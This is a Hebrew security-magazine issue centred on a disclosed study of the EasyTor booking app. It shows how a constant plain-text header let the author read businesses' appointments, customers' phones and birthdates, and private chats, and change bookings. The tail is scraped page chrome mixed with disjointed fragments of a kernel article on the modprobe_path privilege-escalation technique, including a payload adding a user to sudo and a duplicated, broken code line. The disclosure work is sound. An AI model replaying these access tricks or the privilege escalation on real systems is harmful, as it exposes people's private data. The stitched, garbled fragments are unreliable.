‫נפתח במקביל את ה‪ APK-‬ב‪ Jadx-‬ונתחיל כמובן לעבור על ה‪ .Manifest-‬כמו שאמרתי במאמר הקודם‪ ,‬אני‬
‫אוהב להתחיל לעבור על ‪-Flow‬ים שמתחילים ב‪ MainActivity-‬ולכן נמצא שוב את ה‪ Activity-‬שמוגדר‬
‫ראשון תחת הגדרת האפליקציה ב‪:AndroidManifest.xml-‬‬
‫אבל‪ ,‬למרבה ההפתעה‪ ,‬אחרי שנכנסים ל‪ MainActivity-‬רואים שהוא מכיל פונקציה אחת עם מספר שורות‬
‫קוד בודדות‪:‬‬
‫ולא רק זה‪ ,‬אם מסתכלים בתיקיית הפרויקט‪ ,‬רואים שיש שם ‪ 3‬קבצים בודדים בלבד‪ ,‬ששניים מהם הם‬
‫בכללי קבצי קונפיגורציה וקישור‪:‬‬
‫אז מה קורה פה? איך יכול להיות שיש רק קובץ אחד עם ‪ Activity‬אחד שמכיל כמה שורות בודדות? איפה כל‬
‫האפליקציה? הדבר היחיד שאנחנו כן רואים בינתיים הוא שה‪ MainActivity-‬יורש ממשהו שנקרא‬
‫‪ CordovaActivity‬וקורא לפונקציה אחת בשם ‪.loadUrl‬‬

‫‪98‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪Apache Cordova‬‬
‫האפליקציה שאנחנו מסתכלים עליה משתמשת ב‪ Framework-‬שנקרא ‪ .Apache Cordova‬ה‪Framework-‬‬

‫הזה נועד לפיתוח אפליקציות מובייל בעזרת פיתוח ‪ )HTML, CSS, JS( Web‬והוא מאפשר למפתחים ליצור‬
‫יישומים לאנדרואיד ול‪ IOS-‬בזמן שרוב התוכן של האפליקציה מגיע מהרשת ומוצג בדפדפן פנימי‪ ,‬עם‬
‫מעטפת שמאפשרת גישה לתכונות שזמינות לאפליקציות מובייל רגילות‪ ,‬כמו התראות‪ ,‬גישה למיקום‪ ,‬מסך‬
‫טעינה ועוד‪ .‬קורדובה מספקת לנו את המעטפת שמתקשרת עם מערכת ההפעלה ונותנת לנו להגדיר מה‬
‫יהיה המידע שהאפליקציה תפתח בדפדפן הפנימי‪.‬‬
‫מצד אחד הביצועים של אפליקציות כאלו יכולים להיות מוגבלים ביחס לאפליקציות רגילות‪ ,‬אבל מצד שני זה‬
‫נותן לנו יכולות טובות יותר מאתרים פשוטים בעיקר בגלל נראות של אפליקציה שמותקנת על המכשיר‬
‫ויכולת התראות שלא קיימת באתרים רגילים שנפתחים על ידי דפדפן‪.‬‬
‫כיום ה‪ Framework-‬הזה מנוהל על ידי חברת ‪ ,Adobe‬והיא משווקת גם שירות שנקרא ‪Apache Cordova‬‬
‫‪ Build‬שמאפשר למתכנתים להעלות קוד מקור של ‪ Html, CSS‬ו‪ Java Script-‬ל‪ ”Cloud Compiler”-‬המייצר‬
‫אפליקציות לכל פלטפורמה נתמכת‪ .‬ה‪ Framework-‬של ‪ Adobe‬נחשב ליחסית מיושן (למרות שעדיין יש‬
‫כמות גדולה מאוד של אפליקציות שמשתמשות בו) והמחליף העכשווי שלו הוא ‪ React-Native‬שמאפשר גם‬
‫הוא פיתוח אפליקציות ‪.Cross-Platform‬‬
‫ועכשיו אחרי שאנחנו מבינים מה זה בכלל ‪ Cordova‬ואיך יכול להיות שאין כמעט קוד באפליקציה שלנו‪,‬‬
‫אפשר גם להסיק למה החברה בחרה להשתמש בתשתית הזאת‪ .‬המקרה של ‪ EasyTor‬הוא דוגמא קלאסית‬
‫למקום שבו נצטרך אפליקציה גנרית מינימלית שנוכל להתאים בצורה קלה ומהירה לכל הלקוחות‪ ,‬ומה יותר‬
‫נוח מלהתאים טיפה את עמודי ה‪ HTML-‬ו‪ CSS-‬כך שיתאימו לעיצוב שהלקוח שלנו רוצה? אז עכשיו השאלה‬
‫היחידה שנשארה היא‪...‬‬
‫מאיפה טוענים את האתר?‬
‫בואו נצלול חזרה לקוד‪ .‬מה שאנחנו רואים שקורה ב‪ MainActivity-‬זה טעינה של האתר בעזרת הפוקנציה‬
‫‪ loadUrl‬שמקבלת כפרמטר את המשתנה ‪ .launchUrl‬המשתנה ‪ launchUrl‬יכול להיות כתובת שנמצאת‬
‫באינטרנט שאותה נטען בדפדפן הפנימי שלנו ונציג ככל אתר רגיל‪ ,‬אבל במקרה שלנו הכתובת ‪launchUrl‬‬
‫מצביעה דווקא על קובץ מקומי‪ ...‬כדי למצוא את הערך של המשתנה התחלתי בתהליך הבא‪:‬‬

‫‪99‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫חיפשתי את כל המקומות שבהם משתמשים במשתנה ומצאתי את שתי הפונקציות שרואים בתמונה‪.‬‬
‫נכנסתי לפונקציה שעושה השמה למשתנה עם ערך מהקונפיגורציה ונקראת ‪.loadConfig‬‬
‫לאחר מכן עברתי להסתכל על הפונקציה ‪ parse‬של האובייקט ‪ ConfigXmlParser‬כדי לראות מאיפה טוענים‬
‫את הקונפיגורציה‪:‬‬
‫ראיתי שהפונקציה טוענת את הקונפיגורציה מקובץ שנמצא בנתיב ‪ .res/xml/config.xml‬מצאתי את הקובץ‬

‫בתוך ה‪ APK-‬ופתחתי אותו‪:‬‬
‫ראיתי שבקובץ באמת יש הגדרות שונות כמו השם של האפליקציה והכותרת במסך הבית‪ ,‬אבל לא מצאתי‬
‫שום משתנה שנקרא ‪.launchUrl‬‬
‫חזרתי להסתכל על הפונקציה ‪ getLaunchUrl‬של האובייקט ‪ ConfigXmlParser‬וראיתי שבמקרה שאין‬

‫משתנה עם הנתיב בקובץ הקונפיגורציה‪ ,‬לוקחים את הנתיב ממשתנה אחר בשם ‪:contentSrc‬‬

‫‪100‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫המשתנה הזה דווקא כן קיים בקונפיגורציה והאפליקציה מפרסרת אותו מהתגית ‪:content‬‬
‫אבל מה זה אומר שהנתיב שלנו זה ‪ ?index.html‬איפה נמצא התוכן של האתר אם הנתיב שלנו הוא קובץ‬
‫לוקאלי? אז במקרה שלנו‪ ,‬כל האתר מגיע דחוס ביחד עם ה‪ APK-‬תחת תיקיית ה‪ Assets-‬ולא נמצא בכלל על‬
‫שרת באינטרנט! לכן‪ ,‬נוכל לחלץ את קוד המקור של האתר מה‪ APK‬ולהתחיל לעבור על הקוד ולחקור אותו‪.‬‬
‫איך חוקרים אתר?‬
‫אז המחקר שלנו קיבל תפנית קצת שונה וממחקר אפליקציות עברנו למחקר אתרים‪ ,‬אבל מחקר זה מחקר‬
‫ואנחנו מסוגלים להכל‪ .‬הדבר הראשון שנרצה לחפש בקוד של האתר כמו בקוד של אפליקציה זה את‬
‫התקשורת מול השרת ואת ה‪ API-‬שבו הלקוח משתמש כדי לבצע בקשות שונות‪ .‬לצורך החלק הזה אני‬
‫רוצה להציג עוד כלי חביב נוסף שיכול לעזור לנו מאוד עם הסיטואציה‪.‬‬

‫‪101‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪HTTP Toolkit‬‬
‫בקהילת חוקרי התקשורת יש איזשהו קונצנזוס לגבי כלי שחלקכם יכירו טוב שנקרא ‪ ,BurpSuite‬ובצדק‪ .‬זה‬
‫אחד הכלים הכי טובים להסנפות תעבורה ולמחקר ‪ API‬ואפשר לכתוב עליו מאמר שלם‪ ,‬אבל היום אני רוצה‬
‫לתמוך בעסקים הקטנים ולהציג כלי חדש ופחות מוכר שהתגלה כאחד הכלים הכי טובים שיצא לי להשתמש‬
‫בהם‪ .‬בגדול ‪ HTTP Toolkit‬זה כלי דומה מאוד ל‪ BurpSuite-‬שמכיל יכולות דומות ובעצם משמש לנו כמעין‬
‫‪ Proxy‬בין הטלפון שלנו לשרת שתופס את כל הבקשות שעוברות‪.‬‬
‫הכלי מציג לנו את הבקשות בצורה נוחה ונותן לנו לבצע כל מיני פעולות שונות‪ .‬החלק המדהים ב‪HTTP-‬‬
‫‪ Toolkit‬הוא קודם כל קלות התפעול וההתקנה שלו על המכשירים‪ ,‬והתצוגה הברורה מאוד שהוא מספק‬
‫למשתמש‪ ,‬מה שמראה שבאופן כללי שהדגש העיקרי של המפתחים היה הנוחות של המשתמש‪.‬‬
‫‪ BurpSuite‬הוא כלי מטורף עם יכולות בלתי נגמרות‪ ,‬אבל בשביל לשים ‪ Proxy‬על מכשיר דרכו נצטרך לעבור‬
‫ב‪ 5-‬מדריכים שונים באינטרנט וגם אחרי שנצליח התצוגה שלו תהיה לא ברורה בכלל לאנשים שמשתמשים‬
‫בו בפעם הראשונה‪.‬‬
‫אז בואו נתחיל ונראה מה נוכל לתפוס בתעבורה של האפליקציה הפעם‪ .‬נרים ‪ Proxy‬על המכשיר בעזרת‬
‫הכפתור הפשוט הבא‪:‬‬
‫בתוך שניות נראה את הקסם קורה ודברים יקרו מעצמם על מסך הטלפון שלנו‪ .‬מה שבעצם קורה ברקע זה‬
‫שהתוכנה מריצה פקודות על המכשיר בעזרת ‪ ADB‬ומקנפגת לנו שני ‪-Certificate‬ים שהיא יצרה‪.‬‬
‫‪ Certificate‬אחד היא מתקינה בהרשאות ‪ User‬למקרה שהמכשיר שלנו ללא ‪ ,Root‬ו‪ Certificate‬אחד היא‬
‫מתקינה בהרשאות ‪ System‬במקרה שהמכשיר שלנו הוא ‪ Rooted‬או ‪ Emulator‬שמגיע עם הרשאות‬
‫גבוהות‪ .‬ה‪-Certificate-‬ים האלו נועדו כדי שנוכל לקלף את שכבת ההצפנה בפרוטוקל ‪ HTTPS‬כדי לראות‬
‫ממש את התוכן שנשלח בתוך הפקטות‪ .‬יש אפליקציות שיזרמו עם כל ‪ User Certificate‬שניתן להם‪ ,‬אבל‬
‫יש אפליקציות שיקשו עלינו את החיים ולכן נצטרך להתקין ‪ System Certificate‬שיקבל את כל התעבורה של‬
‫המכשיר‪.‬‬

‫‪102‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫מיד בסיום של ה‪ Setup-‬האפליקציה תפתח לנו את המסך הבא בו נוכל לראות את הסטטוס של ה‪Proxy‬‬
‫ולקנפג פורטים ואפליקציות מתאימות שנרצה‪:‬‬
‫החלק המהפכני פה הוא שאת כל התהליך הזה היינו צריכים לעשות בצורה ידנית אם היינו משתמשים ב‪-‬‬
‫‪ BurpSuite‬וכאן הכל קורה לבד‪ .‬עכשיו תוכנת ה‪ HTTP Toolkit-‬שלנו שמותקנת במחשב תעבור גם היא‬
‫בצורה אוטומטית לעמוד חדש שבו נוכל לראות בצורה יפה את כל הבקשות שנשלחות מהמכשיר‪ ,‬כולל ה‪-‬‬
‫‪ ,Method‬הסטטוס‪ ,‬ה‪ ,Source-‬ה‪ Host-‬שאליו שולחים‪ ,‬והנתיב שאותו אנחנו מחפשים‪:‬‬

‫‪103‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫בצד שמאל נוכל לראות את הבקשות ובלחיצה על בקשה מסויימת יפתח לנו בצד ימין תפריט שנותן לנו‬
‫לראות עוד פרטים על הבקשה כולל כל ה‪-Header-‬ים שלה והתוכן‪ ,‬וכנ"ל גם על הפרטים מהתשובה של‬
‫השרת‪ .‬עכשיו נוכל לפתוח את האפליקציה של ‪ EasyTor‬ולהתחיל לראות איזה בקשות ה‪ Client-‬שולח‬
‫בעליה ובפעולות מסוימות שאנחנו עושים‪ .‬מההתחלה אפשר לראות בהסנפה שהאפליקציה שולחת הרבה‬
‫בקשות לכתובת ‪ .app.eztor.io/api‬זאת הכתובת שדרכה מתאמתים ומבקשים את המידע של הלקוח‬
‫מתאים‪ ,‬אבל השאלה היא איך השרת יודע לזהות איזו אפליקציה של איזה לקוח מדברת איתו? בשביל זה‬
‫פתחתי שוב את הקוד של האתר והתחלתי לחפש איפה בקוד שולחים בקשות לדומיין שראינו בהסנפה ואיך‬
‫עושים את זה‪.‬‬
‫אחרי חיפוש קצר גיליתי שהדומיין מופיע פעם אחת בקוד במחלקה הזו‪:‬‬
‫המחלקה ‪ MainServiceProvider‬היא האחראית על בקשות ה‪ ,API-‬והתקשורת של הלקוח עם השרת והיא‬

‫זאת שמגדירה את כל הבקשות‪ .‬ממש בתחילת המחלקה‪ ,‬אפשר לראות שמגדירים את המבנה של‬
‫‪-Request‬ים באופן כללי במשתנה שנקרא ‪ request‬ונראה כך‪:‬‬
‫ה‪ Url-‬של הבקשה הוא הדומיין שראינו בהסנפה (ועוד ‪ url‬שנשאר בהערה מפיתוח בסביבה לוקאלית ב‪-‬‬
‫‪ .)localhost:4000‬בבקשה מוגדרים גם ה‪-Header-‬ים שביניהם שני ‪-Header‬ים שאחראים על הגדרות ה‪-‬‬

‫‪104‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪ Access Control‬ועוד ‪ Header‬אחד לא מזוהה בשם ‪ uniqeabc‬שכדאי שתזכרו להמשך‪ ...‬חוץ מזה מעבירים‬
‫עוד פרמטר לבקשה בשם ‪ appId‬ואפשר לראות בהערה שאולי היה בתכנון להעביר גם משתנה בשם‬
‫‪ .appSecret‬לאחר מכן מתחילים להגדיר במחלקה את ה‪ Endpoints-‬השונים לכל סוגי הבקשות כמו סטורי‬
‫למסך הבית או פרטים של העובדים‪:‬‬
‫יש במחלקה עוד כמה עשרות ‪ Endpoints‬שונים שכל אחד מהם מקבל פרמטרים קצת שונים ומחזיר‬
‫תשובות בהתאם‪.‬אז החלטתי לנסות לשחזר בקשה בעצמי ב‪ Postman-‬ולראות איזה שדות השרת דורש‬
‫כדי להחזיר לי את המידע הרצוי‪ .‬בחרתי להתחיל עם פיצ'ר שקיים באפליקציה שמאפשר לקבל מידע על‬
‫העובדים בחנות ולראות דירוג שלהם עם תגובות של משתמשים‪:‬‬

‫‪105‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫ה‪ API-‬של הבקשה שמכילה את המידע בעמוד הזה נראה ככה‪:‬‬
‫ועכשיו ננסה לבנות אותה ב‪:Postman-‬‬
‫התחלתי מלשלוח בקשה פשוטה ל‪ Endpoint-‬הרלוונטי בלי להוסיף שום ‪-header‬ים של האפליקציה‬
‫ובתשובה השרת החזיר לי רשימות ריקות שזה הגיוני בהתחשב בעובדה שהוא לא יודע מאיזה אפליקציה‬
‫הבקשה‪.‬‬
‫המסקנה המתבקשת מכל המידע שאספנו עד עכשיו הוא שאם הדבר היחיד שנשלח בבקשה זה ‪header‬‬
‫בשם ‪ uniqeabc‬כנראה שזה מה שמאמת אותנו מול השרת ואומר לו איזה מידע להחזיר לנו ומה אנחנו‬
‫מורשים לראות‪ .‬במילים אחרות ה‪ header-‬הזה הוא בעצם ה‪ token-‬שלנו לתקשורת מול השרת‪ ,‬זה הגיוני‬
‫גם בהתחשב בעובדה שיש מסך הרשמה באפליקציה ואת כל הפעולות אפשר לעשות רק אחרי‬
‫שנרשמיםומתאמתים עם מספר טלפון וסמס‪.‬‬
‫אז מה החלק המעניין פה? שכל זה בכלל לא נכון‪ .‬בעצם אני משקר‪ ,‬רק חלק מזה לא נכון‪ ,‬ה‪ token-‬הזה‬
‫באמת אומר לשרת מאיזו אפליקציה אנחנו שולחים את הבקשה‪ ,‬אבל אין בו שום מידע לגבי הלקוח ששולח‬
‫את הבקשה!‬

‫‪106‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫אפשר לראות שהשדה הזה מגיע מהמקום בו מגדירים קבועים באתר‪:‬‬
‫ה‪ header-‬הזה קבוע לכל הלקוחות של האפליקציה והוא מכיל את השם של הספר ב‪ !plain text-‬גם שאר‬
‫השדות כמו ‪ appId‬ו‪ appSecret-‬קבועים ומכילים מידע בנאלי‪ ,‬ולכן כל אחד יכול לשלוח את הבקשה הזאת‪.‬‬
‫אבל רגע‪ ,‬כמו שאתם זוכרים מההקדמה שעשינו‪ ,‬לכל אפליקציה יש שני לקוחות‪ ,‬גם הלקוחות בעסק‬
‫שמזמינים תורים‪ ,‬אבל גם‪ ...‬בעל העסק! אם אין שום דבר שמאמת את המשתמשים בבקשות לשרת‪,‬‬
‫כנראה שאנחנו יכולים לשלוח בקשות גם בתור בעל העסק ואנחנו רק צריכים למצוא את ה‪ API-‬הרלוונטי‪.‬‬

‫‪107‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫דוגמא לבקשה עם ה‪ uniqeabc header-‬אז לאחר מעבר חוזר על הבקשות שמוגדרות בקוד‪ ,‬מצאתי בקשה‬
‫שנקראת ‪:getFutureOrdersById‬‬
‫הבקשה הזאת מציגה לספר את התורים שלקוחות שלו קבעו‬

‫באפליקציה‪ ,‬את הטיפולים שהם ביקשו ואת הזמנים בהם הם יבואו‪ .‬בעיקרון הבקשה מקבלת פרמטר בשם‬
‫‪ id‬אבל השרת לא מתייחס אליו בכלל ומחזיר תמיד את רשימת כל התורים של הספר‪ .‬נוכל למשל לראות‬
‫את טיפול ה‪ premium-‬ב‪ 122-‬שקלים שהזמין בן לקראת החתונה שלו‪ ,‬או את התור שהזמין שלומי לעצמו‬
‫ולשני הילדים‪:‬‬
‫אבל זה לא הסוף‪ ,‬כמו שאנחנו יכולים לראות את רשימת התורים‪ ,‬אנחנו יכולים לעשות עוד הרבה דברים‪.‬‬
‫אנחנו יכולים לבטל תורים‪ ,‬אנחנו יכולים לאשר תורים בשם אחרים‪ ,‬אנחנו יכולים להזיז תורים של אנשים‪,‬‬
‫אנחנו יכולים להוסיף ולהוריד משתמשים מרשימת ההמתנה ובגדול לעשות את כל מה שבעל העסק יכול‬
‫לעשות‪ .‬רוצים תור דחוף לספר והכל תפוס? אתם כבר יודעים מה לעשות‪...‬‬
‫אז אומנם המספרה החביבה שלנו בבאר שבע היא לא מוקד עליה לרגל ואין בה הרבה תורים‪ ,‬אבל זוכרים‬
‫את ‪ Snir&Meir‬מהמערכה הראשונה? אלה שמספרים את כל הסלבס והכדורגלנים? נשלח בקשה עם‬

‫‪108‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫הערך ‪( snirmeir‬זה היה הניחוש השלישי שלי) בשדה ‪ Uniqeabc‬ונקבל חזרה ‪ json‬בגודל ‪ 1.3‬מגה ו‪82-‬‬
‫אלף שורות של כל ההזמנות העתידיות שלהם‪:‬‬
‫אה‪ ,‬ומישהו אמר נבחרת ישראל בכדורגל?‬
‫נקווה שההגנה של הנבחרת במשחקים הקרובים תהיה יותר טובה מההגנה על ה‪ API-‬של השרת הזה‪...‬‬
‫[שניר ומאיר עם שחקני הנבחרת בתספורת לפני משחק]‬

‫‪109‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫עדיין לא מספיק? רוצים לראות מה עוד אפשר לעשות? אז ככה‪ .‬באפליקציה יש אפשרות לצ'אט בין הספר‬
‫ללקוח למקרה שרוצים לתאם דברים נוספים‪ ,‬לשאול שאלות או סתם לדבר על החיים‪.‬‬
‫רוצים לקבל את כל ההודעות מהשיחה הזו? מספיק להוסיף את ה‪ id-‬של המשתמש וקיבלנו הכל‪ .‬אבל איך‬
‫נשיג את ה‪ id-‬הזה? בקלות‪ ,‬זוכרים את ה‪ API-‬לקבלת מידע על העובדים ותגובות ‪ /‬דירוגים שהשאירו‬
‫עליהם משתמשים אחרים? אז יש שם עוד דבר אחד מעניין‪:‬‬
‫בכל אובייקט של תגובה יש כמה שדות‪:‬‬

‫התוכן עצמו של התגובה‬ ‫‪‬‬
‫המזהה של התגובה‬ ‫‪‬‬
‫הדירוג המספרי שהמשתמש נתן‬ ‫‪‬‬
‫המשתמש ששלח את התגובה‬ ‫‪‬‬
‫העובד שאותו דירגו‬ ‫‪‬‬
‫התאריך של התגובה‬ ‫‪‬‬
‫אבל איזה מידע יש בתוך האובייקט של המשתמש ששלח את התגובה? כל מה שרק תחלמו עליו‪ .‬יש לנו את‬
‫השם המלא של המשתמש‪ ,‬מספר הטלפון שלו‪ ,‬מגדר‪ ,‬הביקור האחרון שלו‪ ,‬ההתחברות האחרונה שלו‬
‫לאפליקציה‪ ,‬כל הגדרות הפרטיות שלו‪ ,‬תאריך הלידה שלו‪ ,‬תאריך ההרשמה‪ ,‬התמונה שלו‪ ,‬והכי חשוב‪ ,‬כל‬
‫המזהים שלו באפליקציה! תמונות בעמוד הבא‪...‬‬

‫‪110‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫כן כן אתם רואים נכון‪ ,‬יש פה גם את ה‪ ,userId-‬אותו מזהה שחיפשנו מקודם בשביל לשלוף את כל ההודעות‬
‫של המשתמש עם הספר‪.‬‬

‫‪111‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫סיכום‬
‫זה הזמן גם להדגיש שהחולשות הללו דווחו למערך הסייבר הלאומי ששוב עזר מאוד בטיפול הבעיה ויצר‬
‫קשר עם החברה שהספיקה מאז להוריד את המידע הפרטי על המשתמשים בכל ה‪ Endpoints‬השונים‪,‬‬
‫ולחסום את האפשרות לבצע פעולות מול משתמשים תמימים‪.‬‬
‫אני אשמח שמי שהחזיק מעמד עד כאן יצא מכאן עם כמה מסקנות‪:‬‬
‫‪ .1‬תחקרו כמה שיותר‪ ,‬אבל למטרות טובות ‪ -‬זה כיף‪ ,‬זה מלמד‪ ,‬וזה עוזר לשמור על האפליקציות שלנו‬
‫בטוחות יותר‪.‬‬
‫‪ .0‬אפשר למצוא דברים משמעותיים גם במקומות ה"ברורים מאליהם" שלכאורה אין סיכוי שנמצא בהם‬
‫משהו משמעותי‪.‬‬
‫‪ .3‬שוב‪ ,‬אל תניחו הנחות יסוד‪ .‬אל תיפסלו כיוונים ואל תשללו דברים שאתם חושבים שבטוח מישהו אחר‬
‫כבר חשב עליהם‪.‬‬
‫‪ .4‬תאמינו בעצמכם‪ ,‬הכל פתיר ‪‬‬
‫ניתן ליצור עימי קשר בכתובת האימייל הבאה‪:‬‬

‫‪talsaadi36@gmail.com‬‬

‫‪112‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫דברי סיכום‬
‫בזאת אנחנו סוגרים את הגליון ה‪ 146-‬של ‪ ,Digital Whisper‬אנו מאוד מקווים כי נהנתם מהגליון והכי‬
‫חשוב‪ :‬למדתם ממנו‪ .‬כמו בגליונות הקודמים‪ ,‬גם הפעם הושקעו הרבה מחשבה‪ ,‬יצירתיות‪ ,‬עבודה קשה‬
‫ושעות שינה רבות כדי להביא לכם את הגליון‪.‬‬
‫ניתן לשלוח כתבות וכל פניה אחרת דרך עמוד "צור קשר" באתר שלנו‪ ,‬או לשלוח אותן לדואר האלקטרוני‬
‫שלנו‪ ,‬בכתובת ‪.editor@digitalwhisper.co.il‬‬
‫על מנת לקרוא גליונות נוספים‪ ,‬ליצור עימנו קשר ולהצטרף לקהילה שלנו‪ ,‬אנא בקרו באתר המגזין‪:‬‬
‫"‪"T4lk1n' 80ut a r3vo7u710n 5ounds like a wh15p3r‬‬
‫הגליון הבא מתוכנן לצאת בסוף חודש ינואר‪.‬‬
‫אפיק קסטיאל‪,‬‬
‫‪31.12.2022‬‬
‫דברי סיכום‬
‫‪113‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬

Digital Whisper 146

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Digital Whisper 146

Uploaded by

Copyright:

Available Formats

‫‪-‬‬

‫אפיק קסטיאל‪ ,‬ניר אדר‬ ‫מייסדים‪:‬‬

‫אפיק קסטיאל‬ ‫מוביל הפרויקט‪:‬‬

‫אפיק קסטיאל‬ ‫עורכים‪:‬‬

‫פניות‪ ,‬תגובות‪ ,‬כתבות וכל הערה אחרת ‪ -‬נא לשלוח אל ‪editor@digitalwhisper.co.il‬‬

‫ברוכים הבאים לגליון ה‪ 146-‬של ‪!DigitalWhisper‬‬

‫”!‪“Thanks ChatGPT! You can rest now‬‬

‫וכמו תמיד ‪ -‬בהצלחה לכולנו ‪‬‬

‫‪2‬‬ ‫דבר העורך‬

‫‪4‬‬ ‫תוכן עניינים‬

‫‪5‬‬ ‫‪modprobe_path: Hit & Run‬‬

‫‪22‬‬ ‫‪ - FIDO2‬עולם ללא סיסמאות?‬

‫‪42‬‬ ‫‪Supply Chain & Open Source Attacks‬‬

‫‪44‬‬ ‫‪Overwriting the Global Offset Table‬‬

‫‪62‬‬ ‫תפיסות שגויות נפוצות לגבי ‪Windows Event Logs‬‬

‫‪77‬‬ ‫‪ - Windows VS Linux‬אוטומציית הקשחה ובקרה‬

‫‪44‬‬ ‫איך להסתפר מבלי לחכות בתור ‪ -‬מחקר אפליקציית‪EasyTor‬‬

‫‪772‬‬ ‫דברי סיכום‬

‫קצת על ‪ modprobe ,LKMs‬ומה שביניהם‬

‫‪modprobe_path: Hit & Run‬‬

 An ability to make more intuitive decisions about which modules to load

 the resolution of recursive module dependencies as required”

modprobe_path: Hit & Run

:modprobe ‫ נמצא את הנתיב של‬.‫סך הכל הגיוני‬

:‫ לקובץ אחר‬symlink ‫אבל נשים לב שהוא‬

kmod also handles gracefully if called from following symlinks:

:‫וכאן אנו נחשפים לפקודות נוספות שאפשר לבצע בהקשר של מודולים‬

modprobe_path: Hit & Run

:rmmod ‫באותו אופן באשר להסרה של מודול מהקרנל בעזרת‬

openat(AT_FDCWD, "/sys/module/arbitrary_write/refcnt", O_RDONLY|O_CLOEXEC) = 3

‫ של המודול (אותה‬exit-‫ אשר מריץ את פונקציית ה‬syscall ‫ שהוא‬,delete_module-‫ונשים לב לשימוש ב‬

modprobe_path: Hit & Run

modprobe_path: Hit & Run

modprobe_path: Hit & Run

‫נתחיל מהפונקציה ‪:do_execve‬‬

‫ונראה שהיא קוראת לפונקציה ‪ do_execveat_common‬אחרי אתחול של ‪-struct‬ים שמחזיקים את‬

‫;)‪bprm = alloc_bprm(fd, filename‬‬

‫;)‪retval = bprm_execve(bprm, fd, filename, flags‬‬

‫‪modprobe_path: Hit & Run‬‬

modprobe_path: Hit & Run

:load_script ‫לצורך הדוגמה נתבונן בפונקציה‬

/* Not ours to exec if we don't start with "#!". */

static struct linux_binfmt script_format = {

modprobe_path: Hit & Run

‫בפונקציה ‪ __request_module‬אנחנו סוף כל סוף מגיעים לקריאה המיוחלת‪:‬‬

‫‪modprobe_path: Hit & Run‬‬

char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);

module_name = kstrdup(module_name, GFP_KERNEL);

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);

modprobe_path: Hit & Run

:‫ומשם נגיע לקובץ הקונפיגורציה‬

-‫ ל‬symlink ‫ ונראה שגם הוא‬,/sbin/modprobe ‫ הוא‬modprobe_path-‫כלומר הנתיב ששמור ב‬

modprobe_path overwriting technique

modprobe_path ‫ שמשתמשת במה שראינו עד כה נקראת‬kernel exploitation ‫טכניקה בעולם של‬

?‫איך בפועל נעשה זאת‬

!‫הגיע הזמן לדוגמה‬

modprobe_path: Hit & Run

‫וכן קיים במערכת משתמש גנרי המשמש את התוקף‪:‬‬

‫;‪void *modprobe_path_addr = (void*) 0xffffffffaa48b940‬‬

‫;"‪char *broken_file_path = "/tmp/broken_file‬‬

‫קובץ ה‪ payload-‬יכיל סקריפט פשוט שיוסיף את המשתמש ‪ my_user‬לקבוצה ‪:sudo‬‬

‫ואת קובץ "‪ "broken‬ניצור בגודל ‪ 4‬בתים ותוכנו‪:‬‬

‫;‪void modprobe_path_addr = (void) 0xffffffffaa48b940‬‬